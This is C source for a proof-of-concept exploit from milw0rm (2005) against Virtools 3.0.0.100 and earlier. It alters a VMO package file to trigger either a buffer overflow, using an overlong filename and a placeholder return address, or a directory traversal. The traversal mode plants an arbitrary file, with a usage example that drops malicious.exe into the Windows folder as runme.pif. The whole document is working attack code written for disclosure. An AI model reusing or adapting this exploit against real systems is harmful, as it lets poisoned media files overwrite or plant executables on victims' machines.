/* by Luigi Auriemma */ #include #include #include #include #ifdef WIN32 #include typedef unsigned char u_char; typedef unsigned int u_int; #define ftruncate chsize #else #include #include #endif #define VER "0.1" #define SIGN "Nemo" #define FILE1 "components" #define FILE2 "objects" #define FMT "%-10u" #define EIP "\xde\xc0\xad\xde" #define BOF "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \ "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \ "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \ "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \ "aa" EIP #define BOFFILE "Nemo il pesce scemo" u_int putfile(FILE *fdout, char *fname); void std_err(void); struct { u_char sign[4]; u_int unknown1; // 0x694620 u_int crc; // ??? u_int unknown2; // big-endian sdk version? u_int plugin1; u_int plugin2; u_int unknown3; // 12 u_int compcsz; u_int objcsz; u_int objsz; u_int addpath; // ??? u_int components; u_int objects; u_int zero; // ??? u_int version; u_int compsz; } vmo; int main(int argc, char *argv[]) { FILE *fd; u_int i, len, off; int attack; u_char fname[512], *vmofile, *addfile, *addpath; setbuf(stdout, NULL); fputs("\n" "Virtools <= 3.0.0.100 buffer-overflow and directory traversal bugs "VER"\n" "by Luigi Auriemma\n" "e-mail: aluigi@autistici.org\n" "web: http://aluigi.altervista.org\n" "\n", stdout); if(argc < 3) { printf("\n" "Usage: %s \n" "\n" "Attack:\n" " 1 = buffer-overflow\n" " 2 = directory traversal, is needed to specify also the file to add and the\n" " special path for exploiting the bug\n" "\n" "Example: virtbugs 1 tintoys.vmo\n" "Example: virtbugs 2 tintoys.vmo malicious.exe ..\\..\\..\\..\\windows\\runme.pif\n" "Note: will be replaced only the latest file in the package\n" "Note: if you need a quick VMO file use the following:\n" " http://www.virtools.com/downloads/vmo/Tintoys/tintoys.vmo" "\n", argv[0]); exit(1); } attack = atoi(argv[1]); vmofile = argv[2]; if((attack != 1) && (attack != 2)) { fputs("\nError: wrong attack number chosen\n\n", stdout); exit(1); } printf("- open VMO file: %s\n", vmofile); fd = fopen(vmofile, "r+b"); if(!fd) std_err(); if(!fread(&vmo, sizeof(vmo), 1, fd)) std_err(); off = ftell(fd); if(memcmp(vmo.sign, SIGN, sizeof(vmo.sign))) { printf("- file seems invalid, its sign is: %.*s\n", sizeof(vmo.sign), vmo.sign); } printf( " Informations and files list:\n" "- components: %u\n" "- objects: %u\n" "- version: %hhu.%hhu.%hhu.%hhu\n" "\n", vmo.components, vmo.objects, (vmo.version >> 24) & 0xff, (vmo.version >> 16) & 0xff, (vmo.version >> 8) & 0xff, vmo.version & 0xff); fputs( " inSize outSize Filename\n" " ------------------------------\n", stdout); printf(" "FMT" "FMT" %s\n", vmo.compcsz, vmo.compsz, FILE1); printf(" "FMT" "FMT" %s\n", vmo.objcsz, vmo.objsz, FILE2); if(fseek(fd, off + vmo.compcsz + vmo.objcsz, SEEK_SET) < 0) std_err(); for(i = 2; ; i++) { if(!fread(&len, 4, 1, fd)) break; off = ftell(fd) - 4; if(!fread(fname, len, 1, fd)) break; if(len > (sizeof(fname) - 1)) break; // checks fname[len] = 0; if(!*fname) break; if(!fread(&len, 4, 1, fd)) break; printf(" "FMT" %s\n", len, fname); if(fseek(fd, len, SEEK_CUR) < 0) std_err(); } if(i <= 2) { fputs("\n" "Error: your VMO file doesn't contain additional files so cannot be modified\n" " try with another\n" "\n", stdout); exit(1); } fseek(fd, off, SEEK_SET); if(attack == 1) { fputs("\n- buffer-overflow bug exploitation\n", stdout); len = sizeof(BOF) - 1; fwrite(&len, 4, 1, fd); fwrite(BOF, len, 1, fd); len = sizeof(BOFFILE) - 1; fwrite(&len, 4, 1, fd); fwrite(BOFFILE, len, 1, fd); } else if(attack == 2) { fputs("\n- directory traversal bug exploitation\n", stdout); if(argc < 5) { fputs("\nError: you must specify also and \n\n", stdout); exit(1); } addfile = argv[3]; addpath = argv[4]; len = strlen(addpath); fwrite(&len, 4, 1, fd); fwrite(addpath, len, 1, fd); len = putfile(fd, addfile); } fflush(fd); if(ftruncate(fileno(fd), ftell(fd)) < 0) std_err(); fflush(fd); fclose(fd); printf("- added a file of %u bytes\n", len); return(0); } u_int putfile(FILE *fdout, char *fname) { struct stat xstat; FILE *fdin; u_int len, tot = 0; u_char buff[1024]; fdin = fopen(fname, "rb"); if(!fdin) std_err(); fstat(fileno(fdin), &xstat); fwrite(&xstat.st_size, 4, 1, fdout); while((len = fread(buff, 1, sizeof(buff), fdin))) { fwrite(buff, len, 1, fdout); tot += len; } fclose(fdin); return(tot); } void std_err(void) { perror("\nError"); exit(1); } // milw0rm.com [2005-10-02]